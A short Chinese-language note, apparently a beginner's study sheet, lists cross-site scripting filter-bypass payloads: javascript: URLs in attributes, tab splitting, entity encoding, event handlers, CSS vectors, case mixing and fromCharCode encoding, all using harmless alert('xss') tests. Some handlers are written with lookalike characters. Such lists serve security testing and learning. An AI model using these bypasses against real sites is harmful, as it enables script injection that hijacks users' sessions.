1、绕过过滤
a、利用<>标记注入HTML/JavaScript
<script>alert('xss');</script>:所以过滤的就是<>或<script>
b、利用html标签属性执行xss:这是因为html标记的属性都支持javascript:[code];
<table background="javascript:alert(/xss/)"></table> 我测试没通过,需要低版本的浏览器来进行测试;
<img src="javascript:alert('xss');">
当然不是所有的标记属性都可以产生xss;只有引用文件的属性才能触发跨站脚本;如:
href= lowsrc= bgsound= background= value= action= dynsrc=
c、空格回车tab
<img src="java script:alert('xss');"> 注:中间是tab做成的;
<script>
var a
='hello'
alert(a);
</script> 注:这里不用ie低版本了;更多的可以进行变形
d、对标签属性值转码
<img src="javascript:alert('xss');"> HTML Characters编码;
e、产生自己的事件
<input type="button" value="click" οnclick="alert('xss')" />
<img src="#" οnerrοr=alert('xss')>
其余的事件:
onResume onReverse onRowDelete等等
f、利用css跨站
<div style="background-image:url(javascript:alert('xss'))">
g、扰乱过滤规则
大小写转换、大小写混杂、不用双引号、不使用引号
2、字符编码
String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41)==alert('xss')
10进制、16进制、还有ascii等等;
我还是新手!